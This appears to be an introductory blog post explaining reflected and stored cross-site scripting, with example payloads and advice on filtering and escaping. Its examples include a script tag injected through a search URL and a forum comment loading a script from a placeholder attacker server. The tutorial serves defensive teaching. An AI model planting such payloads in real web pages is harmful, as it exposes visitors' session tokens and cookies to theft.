Cross-site scripting (XSS)

What is "Cross-site scripting (XSS)"?

Cross site scripting (XSS) is a type of attack in which the attacker injects malicious scripts into web-pages belonging to legitimate web-sites. Scripts are programs or lines of code that are interpreted by another program (in this case a web browser). They enable web browsers to present a dynamic behaviour. XSS attacks involve the exploitation of a vulnerability on a web server or web application to send malicious client-side scripts to the unsuspecting user. The victim's browser will believe that the script is trusted and will therefore execute it, granting the attacker access to any session tokens, cookies, and other sensitive information retained by the browser for that particular site. In certain cases such scripts can even alter the content of an HTML page.

Types of XSS attacks

XSS attacks can be generally categorized into two main types: non-persistent (reflected) and persistent (stored). The less common type called DOM Based XSS attack will not be covered in this post.

Non-persistent (reflected) XSS

Non-persistent (reflected) XSS is the most common type of cross-site scripting. In this type of attack, the injected malicious script is "reflected" off the web server as a response that includes some or all of the input sent to the server as part of the request. In such cases, the injected code travels to the vulnerable web site, which "reflects" the attack back to the victim's browser. The code is then executed by the browser because it actually originated from a trusted server.

This type of attack can target web-servers' error messages or search results that return all or part of a user's input.

Example:

• A victim clicks on the following link:
  www.<sometrustedvulnerablexsssite>.com/search.asp?term=<script>alert('reflected - owned')</script>
• The link posts a search query from the client to the web server.
• The server returns the search result that contains the javascript posted earlier in the search query:
  ……<script>alert('reflected - owned')</script>…..
• The client's browser interprets the string as a script and executes it:

Figure 1:Popup appears on victim's browser

Persistent (stored) XSS

In a persistent (stored) XSS attack, the malicious script is stored on the vulnerable web-server. The injected script is then permanently stored on the web-pages and returned to any user who accesses the web page containing the script.

A common example of this type of attack is when an attacker posts a specially crafted comment on a forum.

Example:

• The attacker posts the following on a comment section of Joe's Blog:
  "Great article, keep it up Joe !<script src="http://<theattackersbadserveraddress>.com/badscript.js" ></script>"
• The victim visits Joe's Blog post that contains the attacker's comment.
• The victim's browser interpret's part of the attacker's comment as an HTML tag containing a javascript script:
  <script src="http://<theattackersbadserveraddress>.com/badscript.js" ></script>"
• This will run badscript.js on the victim's browser:

Figure 2: Popup appears on visitors' browser

Note: in the figure above, badscript.js contains a simple alert script:
<script>alert('stored - owned')</script>

Prevention

Cross-site scripting strongly depends on the ability of an attacker to input specially crafted data into a web-server or web application. The problem stems from the fact that a user is able to input such data in the first place. The best way to prevention XSS attacks is through Filtering and Escaping.

Filtering

A simple yet effective way of preventing XSS attacks is to pass all inputted data through a filter which will identify and remove dangerous keywords. The filter could look for common scripting strings, such as the HTML <SCRIPT> tag or JavaScript commands which are not expected as input, hence preventing scripts containing such strings from running on the web-server.

Escaping

Another approach is to disable the scripts by performing Escaping. This approach analyses the input data and modifies certain standard characters used for scripting. These escape characters tell the browser to interpret the scripts as data and not in any other way.

Eg: In HTML dangerous characters can be escaped by using the &# sequence followed by the character code.

• An escaped '<' character would therefore be written stored as '&#60'
• An escaped '>' character would therefore be written stored as '&#62'

There exists many tools such as automated XSS scanners that web-server owners should use to verify whether or not their server is vulnerable to XSS attacks.